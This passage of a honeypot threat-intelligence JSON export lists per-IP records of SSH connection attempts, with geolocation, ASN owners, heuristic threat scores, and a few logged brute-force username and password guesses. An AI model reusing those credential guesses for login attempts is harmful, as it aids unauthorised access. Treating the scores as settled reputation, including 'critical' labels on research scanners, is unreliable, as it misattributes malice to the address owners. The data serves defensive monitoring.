        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:17:54.674000+00:00",
        "last_seen_30d": "2026-05-23T14:00:57.032000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 38
      }
    },
    "132.148.131.176": {
      "attack_count": 66,
      "first_seen": "2026-05-14T15:07:16.546Z",
      "last_seen": "2026-05-21T20:00:22.086Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:54:12.910000+00:00",
        "last_seen_30d": "2026-05-21T20:01:26.925000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 61
      }
    },
    "27.18.236.124": {
      "attack_count": 60,
      "first_seen": "2026-05-18T22:18:12.959Z",
      "last_seen": "2026-05-19T01:52:21.347Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:18:12.959000+00:00",
        "last_seen_30d": "2026-05-19T01:53:29.942000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 30
      }
    },
    "103.74.21.128": {
      "attack_count": 50,
      "first_seen": "2026-05-08T11:55:40.727Z",
      "last_seen": "2026-05-08T12:01:05.301Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:55:40.727000+00:00",
        "last_seen_30d": "2026-05-08T12:02:13.420000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "182.123.208.77": {
      "attack_count": 42,
      "first_seen": "2026-05-21T10:05:41.416Z",
      "last_seen": "2026-05-21T10:10:27.829Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T10:05:41.416000+00:00",
        "last_seen_30d": "2026-05-21T10:11:54.461000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "45.154.244.158": {
      "attack_count": 35,
      "first_seen": "2026-05-30T01:24:52.751Z",
      "last_seen": "2026-05-30T02:58:21.084Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Password1",
        "3ioj0u0uO(_I@jieee"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 52.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.7,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-23T23:59:31+00:00",
        "last_seen_30d": "2026-05-30T02:59:27.594000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Cowrie": 35,
        "H0neytr4p": 8,
        "Honeytrap": 8
      }
    },
    "3.129.187.38": {
      "attack_count": 34,
      "first_seen": "2026-05-02T03:34:46.792Z",
      "last_seen": "2026-05-21T12:54:31.817Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6820,
        "days_active_30d": 23,
        "ports_targeted_30d": 167,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T01:53:40+00:00",
        "last_seen_30d": "2026-05-24T12:14:59.962000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4288,
        "Honeytrap": 2140,
        "Dionaea": 108,
        "Mailoney": 85,
        "Redishoneypot": 78,
        "ConPot": 40,
        "Cowrie": 34,
        "Ipphoney": 14,
        "Honeyaml": 8,
        "Tanner": 8,
        "Ciscoasa": 6,
        "CitrixHoneypot": 4,
        "H0neytr4p": 4,
        "ElasticPot": 3
      }
    },
    "190.89.44.13": {
      "attack_count": 32,
      "first_seen": "2026-05-13T20:13:05.937Z",
      "last_seen": "2026-05-13T20:27:59.654Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 269955,
      "as_org": "ALFATV CABLE S.A",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:13:05.937000+00:00",
        "last_seen_30d": "2026-05-13T20:29:34.080000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "179.87.108.176": {
      "attack_count": 30,
      "first_seen": "2026-05-20T02:31:04.193Z",
      "last_seen": "2026-05-20T15:28:44.835Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:31:04.193000+00:00",
        "last_seen_30d": "2026-05-20T15:29:55.098000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 15
      }
    },
    "2.143.51.66": {
      "attack_count": 20,
      "first_seen": "2026-05-19T18:05:42.020Z",
      "last_seen": "2026-05-19T19:43:43.539Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Santa Cruz del Retamar",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:05:42.020000+00:00",
        "last_seen_30d": "2026-05-19T19:44:45.914000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 16
      }
    },
    "175.0.75.54": {
      "attack_count": 16,
      "first_seen": "2026-05-21T07:27:07.473Z",
      "last_seen": "2026-05-21T08:23:31.431Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:27:07.473000+00:00",
        "last_seen_30d": "2026-05-21T08:24:39.694000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "222.127.251.23": {
      "attack_count": 16,
      "first_seen": "2026-05-19T00:05:40.584Z",
      "last_seen": "2026-05-19T00:55:20.628Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Iloilo City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:05:40.584000+00:00",
        "last_seen_30d": "2026-05-19T00:56:24.168000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "42.123.126.29": {
      "attack_count": 13,
      "first_seen": "2026-05-07T06:39:41.392Z",
      "last_seen": "2026-05-07T07:15:02.606Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test"
      ],
      "passwords_attempted": [
        "admin123@#",
        "testserver"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:39:41.392000+00:00",
        "last_seen_30d": "2026-05-07T07:16:09.581000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 8
      }
    },
    "18.226.9.24": {
      "attack_count": 7,
      "first_seen": "2026-05-31T11:57:15.968Z",
      "last_seen": "2026-05-31T12:02:08.228Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-31T11:45:14+00:00",
        "last_seen_30d": "2026-05-31T12:19:37.487000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 15,
        "Cowrie": 7
      }
    },
    "94.26.106.193": {
      "attack_count": 7,
      "first_seen": "2026-05-07T21:59:54.208Z",
      "last_seen": "2026-05-07T21:59:56.648Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "9876543210"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T21:59:54.208000+00:00",
        "last_seen_30d": "2026-05-07T22:01:01.817000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "103.72.9.206": {
      "attack_count": 6,
      "first_seen": "2026-05-04T18:31:49.199Z",
      "last_seen": "2026-05-04T18:32:30.808Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 151729,
      "as_org": "SWIFTIFY PRIVATE LIMITED",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T18:31:49.199000+00:00",
        "last_seen_30d": "2026-05-04T18:33:32.017000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "119.133.239.114": {
      "attack_count": 6,
      "first_seen": "2026-05-19T12:55:41.675Z",
      "last_seen": "2026-05-19T13:07:13.593Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 136199,
      "as_org": "CHINANET Guangdong province Yuedong MAN network",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T12:55:41.675000+00:00",
        "last_seen_30d": "2026-05-19T13:08:17.514000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "181.219.202.93": {
      "attack_count": 6,
      "first_seen": "2026-05-21T18:48:57.127Z",
      "last_seen": "2026-05-21T18:56:08.618Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Porto Ferreira",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:48:57.127000+00:00",
        "last_seen_30d": "2026-05-21T19:06:12.462000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "198.235.24.114": {
      "attack_count": 6,
      "first_seen": "2026-05-20T19:00:01.576Z",
      "last_seen": "2026-05-30T16:33:21.371Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T07:02:14.365000+00:00",
        "last_seen_30d": "2026-05-30T16:34:24.018000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 17,
        "Cowrie": 6,
        "ConPot": 1,
        "Wordpot": 1
      }
    },
    "198.50.140.215": {
      "attack_count": 6,
      "first_seen": "2026-05-17T10:57:58.009Z",
      "last_seen": "2026-05-17T10:58:05.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T10:57:58.009000+00:00",
        "last_seen_30d": "2026-05-17T10:59:07.474000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "199.45.154.123": {
      "attack_count": 6,
      "first_seen": "2026-05-16T17:12:17.698Z",
      "last_seen": "2026-05-16T17:12:56.830Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 70.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.1,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 26,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T07:57:28+00:00",
        "last_seen_30d": "2026-05-28T21:06:03.325000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 12,
        "Cowrie": 6,
        "Dionaea": 6
      }
    },
    "66.132.186.197": {
      "attack_count": 6,
      "first_seen": "2026-05-29T02:34:55.369Z",
      "last_seen": "2026-05-29T02:35:34.874Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 78.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 28,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T19:46:49+00:00",
        "last_seen_30d": "2026-05-29T23:23:10.535000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 34,
        "Cowrie": 6,
        "ElasticPot": 4
      }
    },
    "8.221.136.6": {
      "attack_count": 6,
      "first_seen": "2026-05-06T09:58:13.452Z",
      "last_seen": "2026-05-06T09:58:17.548Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T09:58:13.452000+00:00",
        "last_seen_30d": "2026-05-09T01:52:40.118000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "147.135.3.156": {
      "attack_count": 5,
      "first_seen": "2026-05-04T19:18:15.609Z",
      "last_seen": "2026-05-04T19:18:18.281Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Oakton",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.4,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T19:18:15.609000+00:00",
        "last_seen_30d": "2026-05-07T21:09:41.259000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Tanner": 30,
        "Cowrie": 5
      }
    },
    "185.220.101.154": {
      "attack_count": 5,
      "first_seen": "2026-05-25T23:11:06.888Z",
      "last_seen": "2026-05-25T23:11:17.081Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "system"
      ],
      "passwords_attempted": [
        "Sam4z1ngw0nd3r5Z"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T23:11:06.888000+00:00",
        "last_seen_30d": "2026-05-25T23:12:23.507000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "91.230.168.87": {
      "attack_count": 5,
      "first_seen": "2026-05-13T08:27:44.255Z",
      "last_seen": "2026-05-13T08:27:44.466Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f172.105.186.117\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'",
        "b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\x8cm\\xf9\\x91\\xcf\\x9dI\\xbd\\xba<\\xf3\\x0f\\xd1\\x9ar\\x10\\xe6\\x8f'"
      ],
      "passwords_attempted": [
        "\u0000\f\u0000",
        "b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"",
        "b'\\x0c=\\xed'"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.2,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 26,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T09:37:15+00:00",
        "last_seen_30d": "2026-05-29T20:05:22.415000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 29,
        "Cowrie": 5
      }
    },
    "147.185.132.240": {
      "attack_count": 4,
      "first_seen": "2026-05-18T16:41:17.619Z",
      "last_seen": "2026-05-18T16:41:20.958Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
